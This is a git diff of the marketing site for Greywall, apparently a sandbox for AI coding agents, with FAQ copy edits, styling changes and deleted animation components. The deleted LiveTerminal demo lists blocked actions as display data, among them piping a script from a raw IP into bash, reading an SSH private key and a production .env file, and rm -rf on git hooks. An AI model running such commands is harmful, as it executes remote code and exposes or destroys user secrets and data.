'Yes. Greywall is released under Apache 2.0 and the source is available on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">GitHub</a>. For a control layer, being able to inspect the implementation is a practical requirement. Greywall is built by <a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer">Greyhaven</a> and used in production deployments.',
|
||||
},
|
||||
{
|
||||
question: 'What kernel version does Linux require?',
|
||||
answer:
|
||||
'The minimum is Linux 3.8 for namespace isolation via Bubblewrap. Landlock filesystem controls need 5.13. Seccomp BPF needs 3.5. eBPF monitoring needs 4.15. The network proxy works on any kernel. Greywall detects what your system supports at runtime and activates every available layer. If you are on a reasonably modern distribution — anything from the last few years — you will get all five layers. Run <code>greywall --linux-features</code> to see what is available. The tool degrades gracefully rather than refusing to start, which is a courtesy more software should extend.',
|
||||
'Namespace isolation via Bubblewrap needs Linux 3.8. Landlock filesystem controls need 5.13. Seccomp BPF needs 3.5. eBPF monitoring needs 4.15. The network proxy works on any kernel. Greywall detects the features present on the host and enables the layers it can support. Run <code>greywall --linux-features</code> to inspect the result.',
|
||||
},
|
||||
{
|
||||
question: 'Which AI agents does Greywall support?',
|
||||
answer:
|
||||
'All of them. Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot — anything that runs as a process on your machine. Greywall does not need agent-specific configuration because it operates at the OS level, below the agent. The agent does not know it is sandboxed, which is, in a way, the whole point. It simply discovers that certain operations fail, adapts, and carries on with its work. Most of the time, this is exactly what you wanted it to do in the first place.',
|
||||
'Greywall works with local CLI agents that run as normal processes on your machine: Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot, and similar tools. Because Greywall operates below the agent, support does not depend on vendor-specific integrations.',
|
||||
},
|
||||
]
|
||||
|
||||
@@ -93,13 +93,7 @@ export function FAQ() {
|
||||
<section className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<HelpCircle className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Questions
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none">
|
||||
Frequently asked.
|
||||
</h2>
|
||||
</div>
|
||||
|
||||
@@ -1,21 +1,14 @@
|
||||
import { GreywallLogo } from './logo'
|
||||
|
||||
export function Footer() {
|
||||
return (
|
||||
<footer className="py-12 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl flex flex-col sm:flex-row items-center justify-between gap-4">
|
||||
<div className="mx-auto flex w-full max-w-[1480px] flex-col items-center justify-between gap-4 sm:flex-row">
|
||||
<div className="flex items-center gap-2">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-4 w-4" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-sm text-foreground">Greywall</span>
|
||||
<span className="text-xs text-muted-foreground font-sans">by Greyhaven</span>
|
||||
<GreywallLogo size="small" />
|
||||
<span className="text-sm text-muted-foreground font-sans">by Greyhaven</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-6 text-xs text-muted-foreground font-sans">
|
||||
<div className="flex items-center gap-6 text-sm text-muted-foreground font-sans">
|
||||
<a
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
'use client'
|
||||
|
||||
import { useState } from 'react'
|
||||
import { Download, Copy, Check } from 'lucide-react'
|
||||
import { Copy, Check } from 'lucide-react'
|
||||
|
||||
const methods = [
|
||||
{
|
||||
@@ -44,7 +44,7 @@ function CodeBlock({ cmd, label }: { cmd: string; label: string }) {
|
||||
title="Copy to clipboard"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="h-4 w-4 text-primary" />
|
||||
<Check className="h-4 w-4 text-muted-foreground" />
|
||||
) : (
|
||||
<Copy className="h-4 w-4" />
|
||||
)}
|
||||
@@ -58,17 +58,11 @@ export function GettingStarted() {
|
||||
return (
|
||||
<section id="getting-started" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl text-center">
|
||||
<div className="flex items-center justify-center gap-2 mb-4">
|
||||
<Download className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Getting started
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Install in one command.
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Start with the CLI.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed mb-10">
|
||||
Wrap any agent and it runs sandboxed.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground mb-10">
|
||||
Install Greywall, then prefix the agent command you already use.
|
||||
</p>
|
||||
|
||||
<div className="mx-auto max-w-2xl text-left space-y-6">
|
||||
|
||||
@@ -1,91 +0,0 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef } from 'react'
|
||||
|
||||
/* ─── Simulated live data stream terminal ─── */
|
||||
|
||||
const streamLines = [
|
||||
{ type: 'allow', text: 'GET github.com/api/v3/repos', time: '0.23s' },
|
||||
{ type: 'allow', text: 'GET registry.npmjs.org/react', time: '0.11s' },
|
||||
{ type: 'block', text: 'POST telemetry.unknown-host.io/v1/collect', time: '0.00s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/src/index.ts', time: '0.01s' },
|
||||
{ type: 'allow', text: 'WRITE /home/dev/project/src/utils.ts', time: '0.02s' },
|
||||
{ type: 'block', text: 'READ /home/dev/.ssh/id_rsa', time: '0.00s' },
|
||||
{ type: 'allow', text: 'GET api.openai.com/v1/chat/completions', time: '1.82s' },
|
||||
{ type: 'block', text: 'EXEC rm -rf /home/dev/.git/hooks', time: '0.00s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/package.json', time: '0.01s' },
|
||||
{ type: 'allow', text: 'GET cdn.jsdelivr.net/npm/lodash', time: '0.09s' },
|
||||
{ type: 'block', text: 'READ /home/dev/.env.production', time: '0.00s' },
|
||||
{ type: 'allow', text: 'WRITE /home/dev/project/dist/bundle.js', time: '0.15s' },
|
||||
{ type: 'block', text: 'POST metrics.analytics-corp.net/ingest', time: '0.00s' },
|
||||
{ type: 'allow', text: 'GET fonts.googleapis.com/css2', time: '0.08s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/tsconfig.json', time: '0.01s' },
|
||||
{ type: 'block', text: 'EXEC curl -s http://159.203.12.41/sh | bash', time: '0.00s' },
|
||||
]
|
||||
|
||||
export function LiveTerminal() {
|
||||
const [lines, setLines] = useState<typeof streamLines>([])
|
||||
const [currentIndex, setCurrentIndex] = useState(0)
|
||||
const containerRef = useRef<HTMLDivElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const interval = setInterval(() => {
|
||||
setCurrentIndex((prev) => {
|
||||
const next = (prev + 1) % streamLines.length
|
||||
setLines((prevLines) => {
|
||||
const newLines = [...prevLines, streamLines[next]]
|
||||
return newLines.slice(-8) // Keep last 8 visible
|
||||
})
|
||||
return next
|
||||
})
|
||||
}, 1800)
|
||||
|
||||
return () => clearInterval(interval)
|
||||
}, [])
|
||||
|
||||
useEffect(() => {
|
||||
if (containerRef.current) {
|
||||
containerRef.current.scrollTop = containerRef.current.scrollHeight
|
||||
}
|
||||
}, [lines])
|
||||
|
||||
return (
|
||||
<div className="rounded-2xl border border-border/40 bg-[#1a1a18] overflow-hidden shadow-2xl shadow-black/30">
|
||||
{/* Title bar */}
|
||||
<div className="flex items-center gap-2 px-4 py-2.5 border-b border-border/20 bg-[#1e1e1b]">
|
||||
<div className="flex gap-1.5">
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#ff5f57]" />
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#ffbd2e]" />
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#28c840]" />
|
||||
</div>
|
||||
<span className="text-[10px] text-muted-foreground/50 font-mono ml-2">greywall proxy stream</span>
|
||||
<div className="ml-auto flex items-center gap-1.5">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-emerald-500 animate-pulse" />
|
||||
<span className="text-[10px] text-emerald-500/70 font-mono">live</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Stream content */}
|
||||
<div ref={containerRef} className="p-4 h-[260px] overflow-hidden font-mono text-xs leading-relaxed">
|
||||
{lines.map((line, i) => (
|
||||
<div
|
||||
key={`${i}-${line.text}`}
|
||||
className="flex items-start gap-2 py-0.5 animate-fade-up"
|
||||
style={{ animationDuration: '0.3s' }}
|
||||
>
|
||||
<span className={`shrink-0 font-bold ${line.type === 'block' ? 'text-red-400' : 'text-emerald-400'}`}>
|
||||
{line.type === 'block' ? 'DENY' : ' OK '}
|
||||
</span>
|
||||
<span className="text-muted-foreground/70 flex-1 truncate">{line.text}</span>
|
||||
<span className="text-muted-foreground/30 shrink-0">{line.time}</span>
|
||||
</div>
|
||||
))}
|
||||
{/* Blinking cursor */}
|
||||
<div className="flex items-center gap-1 pt-1">
|
||||
<span className="text-primary/60">{'>'}</span>
|
||||
<span className="w-1.5 h-3.5 bg-primary/50 animate-pulse" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,219 +0,0 @@
|
||||
'use client'
|
||||
|
||||
import { useRef, useMemo } from 'react'
|
||||
import { Canvas, useFrame } from '@react-three/fiber'
|
||||
import { Float } from '@react-three/drei'
|
||||
import * as THREE from 'three'
|
||||
|
||||
/* ─── Orbiting particles ─── */
|
||||
|
||||
function Particles({ count = 80 }: { count?: number }) {
|
||||
const mesh = useRef<THREE.InstancedMesh>(null)
|
||||
const dummy = useMemo(() => new THREE.Object3D(), [])
|
||||
|
||||
const particles = useMemo(() => {
|
||||
return Array.from({ length: count }, (_, i) => ({
|
||||
radius: 1.8 + Math.random() * 1.4,
|
||||
speed: 0.15 + Math.random() * 0.3,
|
||||
offset: (i / count) * Math.PI * 2,
|
||||
y: (Math.random() - 0.5) * 2.5,
|
||||
size: 0.015 + Math.random() * 0.025,
|
||||
}))
|
||||
}, [count])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!mesh.current) return
|
||||
const t = clock.getElapsedTime()
|
||||
particles.forEach((p, i) => {
|
||||
const angle = p.offset + t * p.speed
|
||||
dummy.position.set(
|
||||
Math.cos(angle) * p.radius,
|
||||
p.y + Math.sin(t * 0.5 + p.offset) * 0.3,
|
||||
Math.sin(angle) * p.radius
|
||||
)
|
||||
dummy.scale.setScalar(p.size * (0.8 + Math.sin(t * 2 + p.offset) * 0.2))
|
||||
dummy.updateMatrix()
|
||||
mesh.current!.setMatrixAt(i, dummy.matrix)
|
||||
})
|
||||
mesh.current.instanceMatrix.needsUpdate = true
|
||||
})
|
||||
|
||||
return (
|
||||
<instancedMesh ref={mesh} args={[undefined, undefined, count]}>
|
||||
<sphereGeometry args={[1, 8, 8]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.6} />
|
||||
</instancedMesh>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Orbital rings ─── */
|
||||
|
||||
function OrbitalRing({ radius, speed, tilt }: { radius: number; speed: number; tilt: number }) {
|
||||
const ref = useRef<THREE.Mesh>(null)
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.z = tilt
|
||||
ref.current.rotation.y = clock.getElapsedTime() * speed
|
||||
})
|
||||
|
||||
return (
|
||||
<mesh ref={ref}>
|
||||
<torusGeometry args={[radius, 0.005, 16, 100]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.15} />
|
||||
</mesh>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Shield geometry ─── */
|
||||
|
||||
function ShieldMesh() {
|
||||
const ref = useRef<THREE.Group>(null)
|
||||
|
||||
const shieldShape = useMemo(() => {
|
||||
const shape = new THREE.Shape()
|
||||
// Shield outline
|
||||
shape.moveTo(0, 1.3)
|
||||
shape.bezierCurveTo(0.6, 1.2, 1.0, 0.9, 1.0, 0.4)
|
||||
shape.bezierCurveTo(1.0, -0.2, 0.7, -0.8, 0, -1.3)
|
||||
shape.bezierCurveTo(-0.7, -0.8, -1.0, -0.2, -1.0, 0.4)
|
||||
shape.bezierCurveTo(-1.0, 0.9, -0.6, 1.2, 0, 1.3)
|
||||
return shape
|
||||
}, [])
|
||||
|
||||
const extrudeSettings = useMemo(() => ({
|
||||
depth: 0.15,
|
||||
bevelEnabled: true,
|
||||
bevelThickness: 0.03,
|
||||
bevelSize: 0.03,
|
||||
bevelSegments: 3,
|
||||
}), [])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.y = Math.sin(clock.getElapsedTime() * 0.3) * 0.15
|
||||
})
|
||||
|
||||
return (
|
||||
<Float speed={1.5} rotationIntensity={0.2} floatIntensity={0.3}>
|
||||
<group ref={ref}>
|
||||
{/* Shield body */}
|
||||
<mesh position={[0, 0, -0.075]}>
|
||||
<extrudeGeometry args={[shieldShape, extrudeSettings]} />
|
||||
<meshStandardMaterial
|
||||
color="#1a1a18"
|
||||
metalness={0.7}
|
||||
roughness={0.3}
|
||||
emissive="#D95E2A"
|
||||
emissiveIntensity={0.05}
|
||||
/>
|
||||
</mesh>
|
||||
|
||||
{/* Inner shield face */}
|
||||
<mesh position={[0, 0, 0.08]}>
|
||||
<shapeGeometry args={[shieldShape]} />
|
||||
<meshStandardMaterial
|
||||
color="#D95E2A"
|
||||
metalness={0.5}
|
||||
roughness={0.4}
|
||||
transparent
|
||||
opacity={0.15}
|
||||
/>
|
||||
</mesh>
|
||||
|
||||
{/* Shield edge glow */}
|
||||
<mesh position={[0, 0, -0.075]}>
|
||||
<extrudeGeometry args={[shieldShape, { ...extrudeSettings, depth: 0.16 }]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.08} wireframe />
|
||||
</mesh>
|
||||
|
||||
{/* Center node */}
|
||||
<mesh position={[0, 0.1, 0.1]}>
|
||||
<sphereGeometry args={[0.08, 16, 16]} />
|
||||
<meshStandardMaterial color="#D95E2A" emissive="#D95E2A" emissiveIntensity={0.8} />
|
||||
</mesh>
|
||||
|
||||
{/* Network nodes */}
|
||||
{[
|
||||
[0, 0.55, 0.1],
|
||||
[-0.35, -0.15, 0.1],
|
||||
[0.35, -0.15, 0.1],
|
||||
[0, -0.55, 0.1],
|
||||
].map((pos, i) => (
|
||||
<mesh key={i} position={pos as [number, number, number]}>
|
||||
<sphereGeometry args={[0.045, 12, 12]} />
|
||||
<meshStandardMaterial color="#D95E2A" emissive="#D95E2A" emissiveIntensity={0.5} />
|
||||
</mesh>
|
||||
))}
|
||||
</group>
|
||||
</Float>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Data stream lines flowing around ─── */
|
||||
|
||||
function DataStreams({ count = 12 }: { count?: number }) {
|
||||
const ref = useRef<THREE.Group>(null)
|
||||
|
||||
const streams = useMemo(() => {
|
||||
return Array.from({ length: count }, (_, i) => {
|
||||
const angle = (i / count) * Math.PI * 2
|
||||
const radius = 2.0 + Math.random() * 0.5
|
||||
const points = Array.from({ length: 20 }, (_, j) => {
|
||||
const t = j / 19
|
||||
const a = angle + t * Math.PI * 0.5
|
||||
return new THREE.Vector3(
|
||||
Math.cos(a) * radius * (1 - t * 0.3),
|
||||
(t - 0.5) * 3,
|
||||
Math.sin(a) * radius * (1 - t * 0.3)
|
||||
)
|
||||
})
|
||||
return { points, speed: 0.5 + Math.random() * 0.5 }
|
||||
})
|
||||
}, [count])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!ref.current) return
|
||||
ref.current.rotation.y = clock.getElapsedTime() * 0.05
|
||||
})
|
||||
|
||||
return (
|
||||
<group ref={ref}>
|
||||
{streams.map((stream, i) => {
|
||||
const curve = new THREE.CatmullRomCurve3(stream.points)
|
||||
return (
|
||||
<mesh key={i}>
|
||||
<tubeGeometry args={[curve, 20, 0.003, 4, false]} />
|
||||
<meshBasicMaterial color="#D95E2A" transparent opacity={0.1} />
|
||||
</mesh>
|
||||
)
|
||||
})}
|
||||
</group>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Main scene ─── */
|
||||
|
||||
export function ShieldScene() {
|
||||
return (
|
||||
<div className="w-full h-full min-h-[300px]">
|
||||
<Canvas
|
||||
camera={{ position: [0, 0, 5.5], fov: 42 }}
|
||||
dpr={[1, 2]}
|
||||
gl={{ antialias: true, alpha: true }}
|
||||
style={{ background: 'transparent' }}
|
||||
>
|
||||
<ambientLight intensity={0.4} />
|
||||
<pointLight position={[5, 5, 5]} intensity={0.8} color="#F9F9F7" />
|
||||
<pointLight position={[-3, -2, 4]} intensity={0.3} color="#D95E2A" />
|
||||
|
||||
<ShieldMesh />
|
||||
<Particles />
|
||||
<DataStreams />
|
||||
<OrbitalRing radius={2.2} speed={0.1} tilt={0.3} />
|
||||
<OrbitalRing radius={2.8} speed={-0.07} tilt={-0.5} />
|
||||
<OrbitalRing radius={1.6} speed={0.15} tilt={0.8} />
|
||||
</Canvas>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,550 +0,0 @@
|
||||
'use client'
|
||||
|
||||
import { useEffect, useRef } from 'react'
|
||||
|
||||
/* ─── Animated data stream (Track 1) ─── */
|
||||
/* Compact flowing waveform + particles, self-contained */
|
||||
|
||||
export function StreamViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
const particles: { x: number; y: number; vy: number; size: number; alpha: number }[] = []
|
||||
for (let i = 0; i < 30; i++) {
|
||||
particles.push({
|
||||
x: Math.random() * 250,
|
||||
y: Math.random() * 300,
|
||||
vy: -0.2 - Math.random() * 0.5,
|
||||
size: 1 + Math.random() * 2,
|
||||
alpha: 0.15 + Math.random() * 0.35,
|
||||
})
|
||||
}
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.02
|
||||
|
||||
// Flowing wave lines
|
||||
for (let line = 0; line < 4; line++) {
|
||||
ctx.beginPath()
|
||||
const baseY = h * 0.25 + line * (h * 0.15)
|
||||
for (let x = 0; x <= w; x += 2) {
|
||||
const y = baseY + Math.sin(x * 0.03 + t + line * 1.5) * 12 + Math.sin(x * 0.015 + t * 0.7) * 8
|
||||
if (x === 0) ctx.moveTo(x, y)
|
||||
else ctx.lineTo(x, y)
|
||||
}
|
||||
ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 + line * 0.03})`
|
||||
ctx.lineWidth = 1
|
||||
ctx.stroke()
|
||||
}
|
||||
|
||||
// Particles
|
||||
particles.forEach((p) => {
|
||||
ctx.beginPath()
|
||||
ctx.arc(p.x, p.y, p.size, 0, Math.PI * 2)
|
||||
ctx.fillStyle = `rgba(217, 94, 42, ${p.alpha})`
|
||||
ctx.fill()
|
||||
|
||||
p.y += p.vy
|
||||
if (p.y < -5) { p.y = h + 5; p.x = Math.random() * w }
|
||||
})
|
||||
|
||||
// Connections between close particles
|
||||
for (let i = 0; i < particles.length; i++) {
|
||||
for (let j = i + 1; j < particles.length; j++) {
|
||||
const dx = particles[i].x - particles[j].x
|
||||
const dy = particles[i].y - particles[j].y
|
||||
const dist = Math.sqrt(dx * dx + dy * dy)
|
||||
if (dist < 60) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(particles[i].x, particles[i].y)
|
||||
ctx.lineTo(particles[j].x, particles[j].y)
|
||||
ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 * (1 - dist / 60)})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Pulsing lock with rings (Track 2) ─── */
|
||||
|
||||
export function SecureViz() {
|
||||
return (
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
{/* Pulsing rings */}
|
||||
<div className="absolute w-20 h-20 rounded-full border border-emerald-500/15 animate-ping [animation-duration:3s]" />
|
||||
<div className="absolute w-32 h-32 rounded-full border border-emerald-500/8 animate-ping [animation-duration:4s] [animation-delay:0.5s]" />
|
||||
<div className="absolute w-44 h-44 rounded-full border border-emerald-500/[0.04] animate-ping [animation-duration:5s] [animation-delay:1s]" />
|
||||
|
||||
{/* Rotating orbit */}
|
||||
<svg className="absolute w-28 h-28 animate-[spin_15s_linear_infinite]" viewBox="0 0 100 100" fill="none">
|
||||
<circle cx="50" cy="50" r="45" stroke="rgba(16,185,129,0.12)" strokeWidth="0.8" strokeDasharray="4 6" />
|
||||
</svg>
|
||||
<svg className="absolute w-40 h-40 animate-[spin_25s_linear_infinite_reverse]" viewBox="0 0 100 100" fill="none">
|
||||
<circle cx="50" cy="50" r="45" stroke="rgba(16,185,129,0.07)" strokeWidth="0.5" strokeDasharray="2 8" />
|
||||
</svg>
|
||||
|
||||
{/* Orbiting dots */}
|
||||
<div className="absolute w-24 h-24 animate-[spin_6s_linear_infinite]">
|
||||
<div className="absolute top-0 left-1/2 -translate-x-1/2 w-1.5 h-1.5 rounded-full bg-emerald-400/50" />
|
||||
</div>
|
||||
<div className="absolute w-36 h-36 animate-[spin_10s_linear_infinite_reverse]">
|
||||
<div className="absolute bottom-0 left-1/2 -translate-x-1/2 w-1 h-1 rounded-full bg-emerald-400/30" />
|
||||
</div>
|
||||
|
||||
{/* Center lock */}
|
||||
<div className="relative z-10 w-14 h-14 rounded-xl bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center">
|
||||
<svg className="w-6 h-6 text-emerald-400" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" strokeLinejoin="round">
|
||||
<rect width="18" height="11" x="3" y="11" rx="2" ry="2" />
|
||||
<path d="M7 11V7a5 5 0 0 1 10 0v4" />
|
||||
<circle cx="12" cy="16" r="1" fill="currentColor" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Radar sweep (Track 3 — Derail Detection) ─── */
|
||||
|
||||
export function RadarViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const blips = Array.from({ length: 6 }, () => ({
|
||||
angle: Math.random() * Math.PI * 2,
|
||||
dist: 0.3 + Math.random() * 0.55,
|
||||
flash: 0,
|
||||
}))
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.012
|
||||
|
||||
const cx = w / 2, cy = h / 2
|
||||
const maxR = Math.min(w, h) * 0.42
|
||||
|
||||
// Concentric rings
|
||||
for (let i = 1; i <= 3; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.arc(cx, cy, maxR * (i / 3), 0, Math.PI * 2)
|
||||
ctx.strokeStyle = `rgba(245, 158, 11, ${0.06 + i * 0.02})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
|
||||
// Cross lines
|
||||
ctx.strokeStyle = 'rgba(245, 158, 11, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath(); ctx.moveTo(cx - maxR, cy); ctx.lineTo(cx + maxR, cy); ctx.stroke()
|
||||
ctx.beginPath(); ctx.moveTo(cx, cy - maxR); ctx.lineTo(cx, cy + maxR); ctx.stroke()
|
||||
|
||||
// Sweep line
|
||||
const sweepAngle = t * 1.5
|
||||
const sx = cx + Math.cos(sweepAngle) * maxR
|
||||
const sy = cy + Math.sin(sweepAngle) * maxR
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx, cy)
|
||||
ctx.lineTo(sx, sy)
|
||||
ctx.strokeStyle = 'rgba(245, 158, 11, 0.3)'
|
||||
ctx.lineWidth = 1
|
||||
ctx.stroke()
|
||||
|
||||
// Sweep trail (fading arc segments)
|
||||
const trailLength = 0.6
|
||||
const segments = 12
|
||||
for (let s = 0; s < segments; s++) {
|
||||
const frac = s / segments
|
||||
const a0 = sweepAngle - trailLength * (1 - frac)
|
||||
const a1 = sweepAngle - trailLength * (1 - (s + 1) / segments)
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx, cy)
|
||||
ctx.arc(cx, cy, maxR, a0, a1)
|
||||
ctx.closePath()
|
||||
ctx.fillStyle = `rgba(245, 158, 11, ${frac * 0.08})`
|
||||
ctx.fill()
|
||||
}
|
||||
|
||||
// Blips
|
||||
blips.forEach((b) => {
|
||||
const angleDiff = ((sweepAngle % (Math.PI * 2)) - b.angle + Math.PI * 4) % (Math.PI * 2)
|
||||
if (angleDiff < 0.15) b.flash = 1
|
||||
b.flash *= 0.96
|
||||
if (b.flash > 0.01) {
|
||||
const bx = cx + Math.cos(b.angle) * maxR * b.dist
|
||||
const by = cy + Math.sin(b.angle) * maxR * b.dist
|
||||
ctx.beginPath()
|
||||
ctx.arc(bx, by, 2 + b.flash * 2, 0, Math.PI * 2)
|
||||
ctx.fillStyle = `rgba(245, 158, 11, ${b.flash * 0.6})`
|
||||
ctx.fill()
|
||||
}
|
||||
})
|
||||
|
||||
// Center dot
|
||||
ctx.beginPath()
|
||||
ctx.arc(cx, cy, 2.5, 0, Math.PI * 2)
|
||||
ctx.fillStyle = 'rgba(245, 158, 11, 0.5)'
|
||||
ctx.fill()
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Scanning grid (Track 4 — Malicious Request Detection) ─── */
|
||||
|
||||
export function ScanViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const cells = Array.from({ length: 40 }, () => ({
|
||||
col: Math.floor(Math.random() * 8),
|
||||
row: Math.floor(Math.random() * 10),
|
||||
threat: Math.random() < 0.25,
|
||||
flash: 0,
|
||||
}))
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.015
|
||||
|
||||
const cellW = w / 8, cellH = h / 10
|
||||
|
||||
// Grid lines
|
||||
for (let i = 0; i <= 8; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(i * cellW, 0); ctx.lineTo(i * cellW, h)
|
||||
